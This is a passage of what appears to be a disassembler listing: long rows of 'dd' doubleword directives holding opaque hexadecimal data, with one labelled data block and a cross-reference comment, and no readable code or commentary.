0E205B2CFh, 0BA905D66h dd 125C7AE5h, 7D6409Dh, 0FCB1D179h, 0FA770480h, 5EEF01E7h dd 519B315Dh, 8214EC68h, 81597B06h, 300F05F1h, 0C712C889h dd 1E4C34A4h, 0DAB87652h, 60580881h, 739DF650h, 2FAA61Dh dd 32604B21h, 3FDA8257h, 2C320C1Bh, 0F70600B7h, 92D387D2h dd 71F371B7h, 89162C27h, 0AB383EF5h, 0F39AF4Bh, 89E220AFh dd 3CF87D6Eh, 0ACB2E45Bh, 0D3D0185Ch, 0F0151704h, 87EB023h dd 64FE5A4Fh, 44111738h, 108F662Dh, 1C5E18EAh, 96E2D174h dd 0E4796BAAh, 6F6B6804h, 684B788Bh, 0A576E9A3h, 0F6267B6h dd 1CA7C9B9h, 0B2221E4h, 0C6135105h, 5E0CC05h, 0A3BB19FDh dd 527710A3h, 681FBE01h, 804E72ACh, 565D7670h, 0BEA8101h dd 7E63202Ch, 0E9087F00h, 11950DB6h, 0EC925289h, 4F3DA2CFh dd 60AD19E8h, 4382C78Eh, 0D72AF2B8h, 0E9C16E45h, 0B93DE3CEh dd 8C317805h, 7BAE822Eh, 0FCB4CE63h, 517D12A1h, 26D1D7F3h dd 4199FF13h, 9227F537h, 0D4DB2006h, 65C15F80h, 0EC8CF0E3h dd 39FF4BA8h, 7445D4BFh, 8C8880A6h, 0A290EFC1h, 0D52C87E6h dd 820CB36Eh, 9D15D1Bh, 218A68E7h, 0E950D418h, 71BC7C2Fh dd 44FFEAD9h, 57BAE061h, 9796029Dh, 42475421h, 2AACF6AAh dd 2A1FB124h, 52AF3DFCh, 2065956Ch, 20478F85h, 25E9982Ch dd 0A59206EEh, 0EDD09A41h, 7C27AF49h, 69656FDDh, 2DC6B3CFh dd 2C9580B1h, 74D02850h, 6B1CB104h, 17BBE855h, 941D22Ch dd 44705EAEh, 0BF8878B5h, 4C9F873h, 0A691EAADh, 158C3634h dd 0AD0A6E79h, 8A4B1BECh, 5107E690h, 870D4BCEh, 84695Bh dd 17FAA3B9h, 37F25BADh, 91A5AB16h, 43A8C4Dh, 904EDABCh dd 6068EB66h, 31B8630Bh, 7FA082DDh, 0D25D073Eh, 11746B44h dd 26063961h, 0BC39660h, 8C6544Bh, 0D4A7E361h, 89247E2Bh dd 32A442FBh, 761CF30Fh, 18906AFh, 0DB954C94h, 0B0B8ADE7h dd 54522C68h, 7AAC5984h, 60894855h, 5B91FD4Ch, 0F0946B4Fh dd 2C769D71h, 7751E862h, 77B44D98h, 5F2165C4h, 8BA447B8h dd 6CE909A3h, 6423D22Bh, 0BE9606D5h, 3D5846D7h, 8931CACFh dd 8655F89h, 50DEB784h, 8ED21CFEh, 0C5AB5AD0h, 0B412D004h dd 24181A8Fh, 9F0C1E6Bh, 6ED9202Bh, 9031EF09h, 28C2550Bh dd 170C080Dh, 0BE20CA14h, 5A42E20Bh, 2516B6F0h, 0EF058938h dd 47EC9E60h, 0ABFF7CC4h, 64132128h, 0FAE0BBB7h, 0B92B33E1h dd 56E9C614h, 863BA029h, 0FE5A80E3h, 5D0ED8BFh, 2A65551Eh dd 271CBD93h, 0DB1756E1h, 76FC5CBAh, 0B6C87025h, 0C8DB2F99h dd 16992910h, 4B37E456h, 5E305C04h, 9FE33E9h, 467B5742h dd 0D4E59D62h, 36FDE956h, 5D8381FEh, 831AA27Eh, 84698AE9h dd 4190B2BAh, 0C2FBE987h, 6BDE715Fh, 4A1EE9F4h, 0BA4BE703h dd 0C00B484Eh, 0C74A8049h, 4AA28255h, 0C7474309h, 0BF085829h dd 65B72F9Ch, 0A3C7ADF0h, 9F1C5AA7h, 7772B9F6h, 79A76EE5h dd 438E60D8h, 0F728517Ch, 36E392DEh, 1F923423h, 988544EEh dd 0D5451F61h, 80AA8144h, 9960938Ah, 523564Ch, 345B7EA2h dd 0F50C7482h, 86A0C3EEh, 63E076D0h, 0A53B8482h, 3D695C0Ah dd 120B4C2Dh, 0AE03BCD6h, 0E270F263h, 1A3B548Dh, 798F8E29h dd 1BFA06A2h, 0A7166956h, 0FF733BB1h, 0F432A85Ah, 4B9208C8h dd 4EF2EDF3h, 0A35F65CAh, 0E9345AB2h, 1798CFE0h, 0F126707Eh dd 907048Bh, 0F840362Dh, 1C176DB8h, 920025C6h, 2DD0F703h dd 0C3531D81h, 0BE76E51Eh, 73B88E13h, 0F2AA4C84h, 24E7F1Eh dd 575A09C2h, 0D66BFBD3h, 0F4E95889h, 36E78E4Bh, 4DBA497Bh dd 1C6CAC29h, 0C7FEC1B7h, 0CC28E780h, 0EFECFCF7h, 3FB82F5Bh dd 0AC6EE909h, 9A59473h, 704E7EDAh, 18408BE9h, 44D64EF7h dd 1284D417h, 27E4EEA0h, 47D50CFh, 3EC358FFh, 0E9E38052h dd 22B74FC2h, 867F6637h, 0C4731DCAh, 8C279022h, 0D51D88ECh dd 0E81F5052h, 16E7EABFh, 7646B900h, 48EBC167h, 0DE2CD707h dd 0A7BB8218h, 0A4C1D431h, 0A85C4146h, 0B82791Bh, 800A5F2Eh dd 27FDE613h, 660C48EEh, 983DD50Bh, 3772A0Bh, 15728812h dd 4B175735h, 51F12F73h, 0EDC27DE8h, 68418CB1h, 8C7E167Dh dd 2D179A7Fh, 15D13E1Ah dd 800047BEh, 6C1FFEEh, 5AF428E8h, 0C4ECECCDh, 0F2597F19h dd 56E9680Ch, 0A255C7D4h, 2C4C3D72h, 31268A22h, 0AC0F521h dd 0BA5103ABh, 7CE17D59h, 83166E73h, 905150Fh, 58B32023h dd 2F1C112Dh, 0E95E7F46h, 4610FD27h, 0BDBA33DEh, 82BE5604h dd 0DA83F43Dh, 3403E9CEh, 0F826B142h, 3392B26Bh, 664DBF7h dd 48BB35E9h, 0F21E2EDCh, 77D6B5CEh, 0E3F7D4ACh, 1000DF8Eh dd 9317A1B9h, 0CE18158h, 737C4114h, 6616B084h, 0A81E06B3h dd 0B73F0B44h, 0A0CFA0BFh, 148AF86Fh, 0A5605084h, 2833EA03h dd 0FCE9EB21h, 70420B0h, 34E0D04Fh, 0DEFAB28Ch, 0AE3D1665h dd 0EF409FEAh, 76034942h, 5FCF0052h, 4F71D12Fh, 0F598DFF7h dd 0D36F8200h, 0E9FD01FBh, 0CCB55E43h, 0C29C3498h, 29AFD625h dd 0C58362EDh, 85584557h, 0BE903BE9h, 99E07189h, 8C868274h dd 812D28B8h, 658FD41Ch, 820B1205h, 5B01D9FCh, 913E8768h dd 48F9866Ah, 3973950h, 0F9CAB4BEh, 1A285CC7h, 5D32C2A7h dd 5C13DA9Eh, 880DE5C1h, 0A1800BDDh, 27791B76h, 4B16BE2Dh dd 97013D46h, 298E0524h, 0ED812B85h, 500AA201h, 13D28B1Ah dd 52F723AFh, 4C501FDAh, 425D8E0h, 2580F68Eh, 711E295Dh dd 0C328507Eh, 3D2C7498h, 0D76E8E51h, 106BFF46h, 0AC075BEBh dd 7FD95FA4h, 0C5B8F82Bh, 85F40768h, 5F9740A1h, 50D74560h dd 1618BB53h, 29847Dh, 0DC103647h, 0D84F8920h, 0B0173FCBh dd 86D9B2D3h, 2F88EE45h, 0F4CC301h, 57133996h, 477E90AAh dd 0EC09F781h, 0D89A5D79h, 55549DE5h, 3F320837h, 0D49B5536h dd 0FDA0CCE2h, 0F4584BDh, 0CD813A07h, 57596AA5h, 0D4F0DF0Bh dd 0E068590Bh, 71573015h, 0B1635C77h, 0A5DCF626h, 0DD8532DDh dd 4C644D79h, 0AA9763ACh, 0EC4F3B04h, 6A071A14h, 0B27C835Eh dd 0EA6AF0F7h, 12BDB55Eh, 98BCDBD7h, 0A2B2F86h, 0D15CF9F8h dd 4D0201Bh, 0AF7D6125h, 8EF8826Bh, 0DB095EE4h, 0DC3E5945h dd 0B951094Ah, 236E06F5h, 2D9D0944h, 37812E52h, 68B8200Ah dd 4DD90456h, 3DC00C7Bh, 0A0860374h, 7016C6E9h, 0C1242F79h dd 0F604EA72h, 0EC7FD0DAh, 5E1647C8h, 44A446Fh, 0B140AF59h dd 268FA7EAh, 0B0314ED8h, 3E540FADh, 8072C291h, 0ABC01550h dd 0C935AC6Eh, 99062AE0h, 223A8E02h, 0B535F0A6h, 1783F789h dd 0DF4CE4A2h, 790F2598h, 0E2E23064h, 2D7EE15Eh, 0DC128225h dd 0DBAB4F07h, 42D553E2h, 52A7B07Ah, 7D1F13BAh, 0AB0DBB3Eh dd 0E27A0D1Bh, 6AE9C20Dh, 0FABF68CAh, 0B895B5Fh, 1CA06254h dd 8E4C61B9h, 0AFE9065Bh, 0DBDDF10Eh, 0D5873729h, 242AA2DCh dd 525CA470h, 0E4EA8E8Fh, 0F3BAF86Fh, 5A0992F3h, 0E9E652Eh dd 0FA13B532h, 0BA7AA6CFh, 474B078h, 0D14436EAh, 2352C037h dd 255FC976h, 10295ACh, 0B4E94DA0h, 42F757EAh, 1EC460BCh dd 0ED63CA66h, 0BF59175Fh, 12426F27h, 0C289A7E1h, 0A0C9DAB2h dd 35A8E2E2h, 7C56601Dh, 50F51E4Ah, 8C00C2F8h, 295B5C6Dh dd 5A015AD3h, 7FE5E0FBh, 0DE106C6Bh, 515F41DCh, 514F3654h dd 0B4F33E8Bh, 0D989AA96h, 6C969D3Fh, 9AAFA47Ah, 0E96F61E7h dd 742BD320h, 0C3420045h, 299852FEh, 34916AC0h, 1350910h dd 280A77CEh, 6E90C5E9h, 24F31CC8h, 250F2ECFh, 164BBFE3h dd 0BB5813EBh, 0E29D9B53h, 303CC140h, 0B77390D9h, 88190D0h dd 0CCFC6A5Ah, 0A69720A9h, 89168AB4h, 4AE94FA4h, 40B2C206h dd 2D04F350h, 579C5EEFh, 541B8681h, 0E2F90CC5h, 3A7DDCFAh dd 120467A6h, 405E863h, 446068CAh, 0D4EAA7C0h, 0AFE301ADh dd 9B1CB105h, 0A4363075h, 83E1EE96h, 8C3A02EDh, 0F7C066FAh dd 54E91EB2h, 0E235C030h, 1D315D4Dh, 76630CC1h, 6C833BFDh dd 879798E1h, 4E7DD5F2h, 506FB45Dh, 0AF76E2B1h, 9D16639Fh dd 4DE9B7F4h, 0E0683C4Ch, 0F6612E2h, 0DDA6408Fh, 30481A3Bh dd 2C9E1CCBh, 80B37D2Dh, 48211DE1h, 500465D3h, 0DE016FBAh dd 519CEB82h, 73CD8C5Dh, 0A67AC72Bh, 72556830h, 3ED00B5Ch dd 58250926h, 573AB7Fh, 0F8F09205h, 806B00B4h, 0E4C0A4ECh dd 0DC0EF606h, 1DE7B353h, 11DCE95Eh, 0ABD325h, 9210C568h dd 0E9255D67h, 0B001F0BDh, 0BE2BBDCh, 74D1669Ch, 0A9B2F78Ch dd 6BBA0EEDh, 0D7553858h, 63F5F69Ah, 0E39CF566h, 0AA764D4h dd 50319328h, 0D7F75D12h, 6165D300h, 7F4616E6h, 4EB34F4Eh dd 0BCE4E1F2h, 765A093Eh, 5BDA7881h, 25B2C59Fh, 452DA145h dd 6887045Dh, 308CD92Ah, 0D8B6D8C7h, 0E69C7D2Dh, 0DCC77825h dd 0CC6F50C7h, 0DE6A5481h, 91680AD4h, 0BF63AD44h, 11B280B0h dd 0F1105DE9h, 2618974Ch, 70E23DB7h, 2A360416h, 12AF4000h dd 0F9D10735h, 2B57920h, 0E9F6C5A9h, 93D51390h, 0BB4EC131h dd 2E7723Bh, 0E16068F5h, 3F3078ACh, 0A24AF031h, 0F568C2F3h dd 4BB4F97Ch, 18316B43h, 5971FA20h, 7FD8CF3Ah, 5CD5856Ch dd 52D013CDh, 0F5FA00B4h, 3AF776A0h, 419817B0h, 671E46E6h dd 0FF137E55h, 0E1E2B9D7h, 8BBF0058h, 2A50E84Dh, 57121DF7h dd 480164FEh, 2DBB4094h, 0F7BD012Ah, 0D9C14FDFh, 78C8FF08h dd 0CF2CB382h, 5300CA29h, 226619BBh, 0DA210B4Fh, 0AAD4E7E9h dd 5E5C000h, 0F6F9ED80h, 0E3864BDFh, 80AE247Fh, 5D496889h dd 2132DDE6h, 4053E2D8h, 8094761Fh, 6E2FFBBEh, 2877CB6h dd 571F7A0Ah, 0DB2BD80h, 0C8A13373h, 0CDC66A08h, 0C9C700D2h dd 0EE314769h, 82FF88E9h, 51C1BF56h, 0F7FF8344h, 290D31C5h dd 580BDA4h, 106802BAh, 0E3647BC4h, 0A8125D4Ah, 55F9DBEAh dd 680A40DDh, 0C6BD576Bh, 205C2291h, 0F75852C9h, 0EFF7D41Ah dd 8EB88B11h, 52134659h, 42A12CFEh, 5920FA41h, 0CBFE008Ch dd 0C001C380h, 6CF06EBh, 54F32407h, 2C2FC2FFh, 53E82360h dd 3703E916h, 0C932F7F5h, 27F22516h, 0EEF950FCh, 70F53110h dd 0D1BFEA5Ch, 11A543h, 93D4Ch, 0B95107E0h, 2BEC9F8h, 67362DB6h dd 0E27F6985h, 51070B9Ch, 0BE2944B8h, 55700D8h, 927B53BFh dd 230E913h, 91669E20h, 3C40829h, 23B0479Dh, 3857E1F8h dd 2B1AD22Eh, 83CA4B12h, 0BC9C6B13h, 4B54CFA0h, 61F74208h dd 177AA30Eh, 0EB61FF7Eh, 5532C523h, 0ADE5809Dh, 0C13E5A50h dd 0B39221EDh, 4D0227h, 0A44116BEh, 0B424E921h, 5D683ABDh dd 0B1515800h, 0C178FE9Bh, 608E137h, 0C000D5B9h, 0CF282CF1h dd 0C0F35974h, 8ED252F8h, 0B95E4BA8h, 6644B7CAh, 0C997E913h dd 5BFE4198h, 0FB8FADD9h, 61A5EF31h, 1D2AD53h, 4CE721D7h dd 74F0E381h, 0AF695C3Eh, 6AA39C04h, 0F832C38Fh, 11F54D8h dd 2C4D951h, 67405B08h, 844C2034h, 7A322549h, 2FCB0499h dd 0B94E7252h, 0FBB605A3h, 3E9440B7h, 92DCE2C7h, 2544EEB8h dd 0A2705674h, 0CA02B691h, 0DEB5DC31h, 0F8290BDCh, 1B55B632h dd 98783590h, 0A9F7E0F7h, 759F6650h, 0BF5DA740h, 5E5B4ED0h dd 43F720B4h, 5B541352h, 80A454A8h, 0F333D530h, 2D0D1958h dd 1645668Ch, 0AD652E68h, 0B368A1BCh, 38E90E34h, 0CB5F63A7h dd 95317E00h, 0DE091C3Ch, 0C14CD86Bh, 5708EE03h, 0E1D16856h dd 706F6025h, 0E849A9B2h, 0FA214E25h, 66D50103h, 31E96EB0h dd 62976A0Dh, 177DF9EBh, 570F4EC3h, 0C4029C6h, 32FF641Fh dd 7EEFA49Fh, 4D7769C8h, 10E6AC81h, 0C6BA02B7h, 0C0787F15h dd 0F2131ABEh, 0BB6B02Eh, 7ACD62C9h, 0AB2C29D4h, 13F9BDC0h dd 283E6075h, 4E3A78CCh, 0CE982976h, 6E5D0881h, 53A86416h dd 510CEFA5h dd 0FCE97A5h, 3B5E2282h, 0C4B8AA6Fh, 0C9EEFB87h, 28A5A365h dd 22EA6200h, 10064666h, 25D2FE9h, 0B8CF2B8h, 0C48277FAh dd 5732147h, 605B98BDh, 17F3BB0Ah, 105FB4Ch, 18209355h dd 0F2E22F53h, 0B249EC05h, 2D9EF19Bh, 0E50CC57Ah, 2CECDFEh dd 81F421A5h, 936CE73h, 5A6E0732h, 70930E2h, 0D358E0F7h dd 528AA8C7h, 60D50968h, 41B178D1h, 0AC84C642h, 7E2D8179h dd 579C2056h, 0B5BD988h, 30F4B450h, 0C1801E81h, 0AF106E91h dd 0ECED7AB1h, 344CB753h, 1D5B384Eh, 75ED2CC8h, 0D5276018h dd 0E788B994h, 0AB7C2D55h, 63A9444Fh, 0C2FE0816h, 0C3ECF62Dh dd 0FB32744Dh, 7718D8CDh, 0D8F7B4C8h, 84D005CFh, 0DBBAFCBEh dd 828E5193h, 0E9778054h, 1D315E6Ah, 0B45496ACh, 4AFAC841h dd 0E80F8D66h, 685D12C5h, 0BF9BC423h, 552F618Eh, 0F84D4A6Eh dd 1076607Ch, 5354A4Dh, 0F06B61BAh, 68A2D159h, 0D2D6CA91h dd 2F4E0B60h, 0EA09241Bh, 6079973h, 0FDF82F05h, 0B8E05289h dd 93B2425Ah, 0D8B6C13h, 0BAFC00A1h, 0E32C1888h, 99C363Fh dd 0C0563428h, 4B2A820h, 5DE341BBh, 2D9DA8B9h, 8340F89h dd 935C18D0h, 43553568h, 0D9E83F7Ch, 0BADD81A4h, 74A62DAh dd 34949745h, 0B0D0EB3h, 5EF229B4h, 0C201BB74h, 5AF85666h dd 0E9592F30h, 9650B96Fh, 0F187C8F4h, 7E1D8D2Eh, 0D3E80A94h dd 0B887407Bh, 9A07BC00h, 413EBD2Bh, 1231EACFh, 415558C5h dd 1E372D93h, 4635E54Eh, 0E927C906h, 5A0B8109h, 2AE14A5Dh dd 0F263437Bh, 2CD72BE6h, 6C1F410Ch, 0CA0014AEh, 2A9354C9h dd 352237E9h, 0EA6E62ADh, 46976A54h, 0E6029BA8h, 54BE025Ah dd 240080D4h, 0BF3F307Ah, 0FDA61646h, 162DE8C4h, 75A4D6D1h dd 0AA101666h, 990FAA33h, 1E0033C1h, 4E5E71E9h, 0A54895A4h dd 71386C6h, 5BD42B66h, 1DE90805h, 0F2BBED94h, 0DB09A055h dd 2885120Fh, 0E42E5616h, 0ED6ABEB7h, 0C5089146h, 68570F19h dd 273A5041h, 83D02A5Fh, 2C3F9B69h, 6539898Ch, 0F782BE22h dd 0D2E5D767h, 0BAA58A5h, 751A30DAh, 2FD70680h, 0B2B46FCCh dd 0B76A952h, 41967D46h, 531E3BE8h, 0F05C5E31h, 0C7BF46EFh dd 500D586Ch, 565B932h, 1B5FB712h, 61C3B00Bh, 6D80EDDh dd 42E91210h, 48E05A99h, 12E47175h, 2F9BAF5Dh, 0D66EA84Eh dd 0AFF2D4EBh, 1F6951C0h, 55DFF675h, 3D425CF2h, 886800DAh dd 707AC1CFh, 0D725FA69h, 746D5E23h, 0C2C126E2h, 0E4E148A8h dd 64AA440Fh, 0D9068555h, 0F4D666E9h, 16FE63B7h, 47AE3B4Fh dd 226180CDh, 247E2915h, 0C7280CC8h, 40F4F897h, 687E5CECh dd 958B3A5Dh, 444096D7h, 46221A73h, 0E211BD5Eh, 0EF64E471h dd 0C0838B95h, 306ACE29h, 960C4292h, 6B7CB62Dh, 54B4EB09h dd 384F8297h, 576802FDh, 0F7D2C0CBh, 7DB0C9D8h, 0D8A0075Eh dd 192A30E8h, 6E0B1A3Ch, 47A52AEDh, 66810804h, 863C976h dd 0D05CFD58h, 0A5D54A2Dh, 85573126h, 9BB8FD94h, 0C9BE5600h dd 4E230C7Fh, 4666BABAh, 0E0147CD8h, 0BCF55D01h, 76556882h dd 0A2C8165Fh, 1D9FFCA4h, 4BBD974Eh, 97045815h, 20CAFFEBh dd 0F9A2E909h, 7A178CE5h, 0B94B9EECh, 8CEC9292h, 15F1E94Fh dd 3C96D2A5h, 9A40CBE7h, 0D19F0B7Bh, 0E9F81229h, 5EDFA068h dd 0F2E678B5h, 3B5049C2h, 0E25AD613h, 0B387C6C7h, 20909823h dd 0FDA026E1h, 0F627397Dh, 73D7448h, 6432158Ch, 20CD429h dd 0D93BE908h, 0A6499FEh, 981613EBh, 6A904573h, 3F3D62Eh dd 20D5096Fh, 0D0FBE06h, 296F2D10h, 69F02355h, 0E28F0428h dd 80E46765h, 2523F22Bh, 31544C05h, 1AA5AD3h, 0BD1F89DEh dd 68DEE962h, 0F709A12Fh, 0C281EA59h, 67965F03h, 58F16053h dd 253A4308h, 7A450C89h, 9B0FF77Bh, 664C2B1Eh, 0B16856Bh dd 0FD28B8B5h, 4F48F02h, 0B35336E8h, 0D3F6D906h, 0B008C3FEh dd 14B01EA8h, 18C22020h, 0F72CEB80h, 84042BC0h, 1AFE91Ch dd 6A37FC6Fh, 2CEF0277h, 70F547FAh, 1F0883EDh, 8238C11Ch dd 0F3E3E976h, 17D76675h, 0E87B2C68h, 7FACD235h, 296850B0h dd 0D4E5395Ah, 0B57B6765h, 0FDB22EE7h, 29972499h, 0E5D92EC2h dd 46230580h, 2D2FE1h, 0A5C18B8Eh, 2158C789h, 0C372FB62h dd 0FE58C0E6h, 0EEEF30E9h, 7F3DB942h, 0C1AC5D5Fh, 1C80032Ch dd 7ADF4579h, 52C50149h, 0FD42DD02h, 8D093A04h, 678E805Bh dd 0DA140944h, 80E363Ah, 0AB616CA5h, 0F1F4D274h, 0A2194E51h dd 3D1D86F4h, 959DF6FFh, 2B788CE8h, 29E24h, 20B0D14h, 0F656E7Ah dd 36C0FDD1h, 852C4F35h, 138E8606h, 0A41D725h, 6A8076EEh dd 40CFDA97h, 17B652C7h, 0A3B7F328h, 393BB8Ch, 3C4BF193h dd 17D93710h, 93503CFAh, 0EA4F2522h, 203A4C85h, 0BE0558D0h dd 1CF234C4h, 153747C0h, 20CBB05Ch, 801CC584h dword_4F0044 dd 0CCCE19E4h, 0FB1ED3A9h, 3034F440h, 5DE958E3h, 680B712Bh ; DATA XREF: ___:00437A2Co dd 865E69A1h, 46B304FAh, 134423F4h, 900C7D2Ch, 8B96DFF7h dd 2CED195Eh, 0F2E3AC30h, 0E43D6FC2h, 0B91F93D4h, 5C0B8B8Eh dd 196F1F7h, 9BE9540Bh, 82BAF607h, 3E763971h, 68080112h dd 0CC683C25h, 9EBA5280h, 1D4EFF0Ch, 0F8F84413h, 0E5060835h dd 0CAE5E0C9h, 89C79612h, 41F3B0B0h, 101D6854h, 0A14AE721h dd 6015C8E8h, 58476B12h, 0F73A2CFFh, 2D80D040h, 925C3BC3h dd 5E28B68Bh, 4EB80EACh, 0D73AF917h, 67250AFAh, 1D8288C4h dd 62F94028h, 0D00E9614h, 0D4D5F4B9h, 76EB2D33h, 0AED66C79h dd 4E255E03h, 93E9DA01h, 3532030Ah, 0AB5AF9E4h, 2ADC63D1h dd 0E72536F3h, 7250C961h, 0EB88C7D1h, 0D4578B29h, 0EFC2C536h dd 0F05E97C2h, 0CAD48A1h, 0F5330D05h, 0FDBFC050h, 765EEA77h dd 0A049ECDh, 0BA12328Eh, 0EAB8D13Fh, 213BF05Ah, 0F08CEB4Fh dd 0FD687052h, 0C2CE0BC1h, 25ECFF00h, 7FBB3B27h, 3209EF13h dd 747E631Fh, 51D75A1Bh, 97E9043Dh, 0B773C85Bh, 3112B19Ch dd 963077F8h, 0FBCA811Dh, 75A40616h, 278F14AAh, 21C07866h dd 680425ECh, 215A0405h, 4EC8F3BBh, 6D24C6E9h, 0A002AFD2h dd 0D1DF3768h, 0B8C877Bh, 0E931C459h, 42E909DBh, 1616D592h dd 0ACAF7C95h, 0B2D61225h, 70CED085h, 7CF41F25h, 165C0115h dd 7F2910EFh, 0F68FDA1Dh, 0DEBC520Fh, 48B0E93Ch, 5938BA38h dd 0E9A09373h, 1F2F392Fh, 0A8CF432Ch, 4B317A5Dh, 0EF39FFCAh dd 9489A539h, 1BBDE350h, 8E46DBB2h, 0DFEB012Dh, 3136F958h dd 84443E0Bh, 0F7103CC5h, 75502450h, 0D12326B8h, 9F1F0876h dd 0FAD65F1Fh, 0D03092EBh, 0D7514A7Fh, 0E9041BEFh, 2DF3D948h dd 6589CE38h, 0E8803BE3h, 14BE4D52h, 0DAC0D176h, 3A6468E2h dd 0B00930E9h, 92B6F64Fh, 74916C2Fh, 65D992F3h, 0AF02126Dh dd 8A3B389Dh, 0BA5210ADh, 840E982h, 0D74B10D1h, 53E9D8A1h dd 4CF76998h, 0C495F8Fh, 16D58552h, 4017CCF3h, 2C1364EBh dd 0B5A157D5h, 0DE53AF31h, 33948900h, 92BBA3FEh, 25AE8AA0h dd 0CA1B008Dh, 3EAA38EDh, 676063B8h, 52DFF2B1h, 9222161Dh dd 6C9EB96h, 5A50E1DFh, 19CDC03Bh, 6C123C33h, 0B10BFA09h dd 5B6CC1CFh, 68A05428h, 0E9802D13h, 377AF175h, 256FE235h dd 0DFE2185Dh, 0D1F99FDDh, 2D6268A7h, 0F618C1B9h, 0E3C680D6h dd 6AC093D1h, 2578A0B2h, 0E9764DB6h, 18B7F141h, 0F16F9ACDh dd 7A313E77h, 0D12BD81Bh, 5F802D3h, 3E3817E8h, 3244B74Ah dd 44E318C1h, 4CA5BD41h, 9ABE055Eh, 0A1F9E805h, 0B57A06E0h dd 0CD85E8EFh, 99E9340Bh, 0C583D9D3h, 0AC62825Ch, 54502D00h dd 5E062F27h, 9512F17Eh, 0F2BA9AC5h, 8763C436h, 8B136CEEh dd 0A6ED2EE5h, 1012BA92h, 0A32EE9A1h, 6DFFD72Ch, 0DA67FC2h dd 0A22EE90Ch, 0F671B72Bh, 5266DF01h, 0D72891B2h, 17205AD8h dd 92C5BF8h, 0DE267D34h, 93907F52h, 1247EC20h, 197D7F7h dd 9D032634h, 5C823B72h, 965AC14Fh, 97404A02h, 79BDFE94h dd 89500437h, 0F964A1F0h, 50943C32h, 0D81EBC05h, 73C99ED3h dd 8292796Ch, 334F7BEEh, 9FAFE582h, 2EFBB800h, 2D7C0405h dd 828536EDh, 0BF70C114h, 68585395h, 0AB6CC4B0h, 34EA9412h dd 1306E766h, 0C3CA557Eh, 0AA575912h, 2136BC00h, 5CD139FEh dd 71287EAh, 5A5F0942h, 0BBC3B710h, 8767D7Ah, 763FCB05h dd 0ECC04E0Ah, 5B484CA6h, 274AAEEEh, 0E401AA5Dh, 9314937h dd 7FAFCA6Bh, 0ABB8AC7Ah, 0A95C02BDh, 871B772Bh, 80891441h dd 414DBD14h, 5E896312h, 128AE8EFh, 51026401h, 68CFADE9h dd 1D485EEFh, 531AA80Dh, 5A36FC6Eh, 0FAD5A6C1h, 0B6FEFF97h dd 0CEB0163Dh, 0B34F26E2h, 0AF239F65h, 71B08AE8h, 0CC8FE00h dd 8E8C01Dh, 50B8722Ch, 80C685F7h, 15B8CE29h, 0FCB9B520h dd 0B94750DFh, 126DE233h, 0EFD7016Bh, 0A8231E21h, 2FFA6801h dd 0BBEB1CCh, 45A13531h, 3D4CB200h, 0E97B6D9Ch, 0A0B2D65Bh dd 5D476A8Ch, 5F6B39Fh, 0E5751026h, 688CAB06h, 0ECFEE4Fh dd 677312BEh, 0B300A6FAh, 39F56E8Ch, 7D00A8B0h, 25775A78h dd 0F2339Eh, 29150D3Ch, 4F2D7E5Eh, 0D114D926h, 50FF8216h dd 7116847Ch, 0CB7E227h, 0C1EEF55h, 1D7A13BAh, 250EA3Dh dd 0E0F24B08h, 5EBB680Ch, 11419BD1h, 0EA2C0B41h, 49BD0505h dd 0EAFC944Ch, 11689D42h, 0D01ADF21h, 64FBB202h, 0B7B7A375h dd 2926C878h, 5510C554h, 6C0A4FBDh, 0EA5D0C45h, 0EB4E16CFh dd 5D5B0222h, 0E941AF73h, 316E4E2Bh, 6F713BDFh, 0DAD905B3h dd 5FB568C2h, 0B1A441E9h, 228B7FD7h, 0C112F84Dh, 0A15FA858h dd 0ED2EED87h, 0CABE92C5h, 0F7022583h, 3CE93D38h, 8222F369h dd 0CC9B44EFh, 0B75F71FFh, 8A4F35ECh, 52E8E785h, 0B89117F4h dd 7C29B242h, 10D4421Ah, 24AB5F04h, 0C251E23Dh, 75F530E9h dd 5F94B27h, 68CE82D0h, 0B3FA5804h, 0F4D8D21Eh, 0D1794405h dd 0C407804Ch, 18BF520h, 50CDFE04h, 0BF7682B0h, 2D00FF58h dd 1B6C62D5h, 1304105h, 0BA350C37h, 7B45B723h, 0D78C6B05h dd 75BFEF20h, 0E54B5AC5h, 0FF0804EAh, 5A04FDA6h, 8030C333h dd 8706FDC0h, 93ED724Fh, 543B00D3h, 49078D7Ch, 46060EDCh dd 0B6AA4C7h, 0BF80EA7h, 79228550h, 27E777C0h, 0B2F7B868h dd 69CDF43Ah, 0AD974682h, 280FD1C5h, 0D8D9A4C8h, 3F932DEEh dd 30831735h, 0E05C8A36h, 92D2E98Ah, 0A953B7DEh, 7FB9EE22h dd 54FCE962h, 4021183Fh, 0F3954B3Bh, 59E02F74h, 696DD29h dd 2FA12C88h, 6861FCD4h, 332A14E0h, 29F725B4h, 0C6CD2800h dd 524C0E31h, 4DBB078Fh, 0E7C05D03h, 4D884F65h, 1658DA3Eh dd 4C7F878h, 432EF0C5h, 1BD5AB31h, 0D2E9C916h, 6947C1B0h dd 0C146F30h, 5F8B1753h, 4A6E550h, 149D1008h, 3DFC0C6Bh dd 85F1018Ah, 9FFFFC35h, 569F51CDh, 120A24C1h, 0AB35F51Bh dd 4B44F0CBh, 4E0DB252h, 0E7F734E0h, 38359760h, 440462C8h dd 0A329C4E9h, 0C380C123h, 0E9C2E9D1h, 4DECBBC7h, 0F7421626h dd 157A09D3h, 6B6446D5h, 4517588h, 814AA6A5h, 6748971Dh dd 922C363Ah, 3F127138h, 9CC4A9F6h, 0BBF8D86Bh, 56D24F00h dd 0B1E95551h, 0A51993F7h, 715DBD42h, 0AC61ABE6h, 0AF0609F8h dd 86893351h, 11E6B057h, 79BA2E44h, 7A36838Dh, 0BF786417h dd 1A11AC04h, 0CDEF8919h, 97B230EEh, 3EC11D18h, 3E47870Ch dd 0F7033621h, 0CC5475CAh, 0C8019F39h, 1A120B47h, 3DBB84E9h dd 0ABE316FFh, 8EEE0664h, 6A645BC2h, 0F240A1EFh, 97D06855h dd 0E2F1BDCBh, 13DE7588h, 7CD5AF5Eh, 0FB51FCCh, 59EB8829h dd 0C652F689h, 8084B407h, 0C4336EF4h, 38DCEBEAh, 0E312D30Ah dd 4C77EC58h, 0C2139E4Dh, 2F7B80B7h, 3498B9D6h, 13BE37C9h dd 0FDC38562h, 48F81820h, 0D29561EBh, 26E4B392h, 74EA4B14h dd 423D160Ah, 12FA40C9h, 6D379702h, 61D2F730h, 8A6FAD31h dd 21F84A71h, 53011EB6h, 0DC888DB3h, 0E2D0525Bh, 0F3D4EE50h dd 0AE5AF297h, 4242C829h, 779DDA37h, 0ED2630C1h, 59F9E58Dh dd 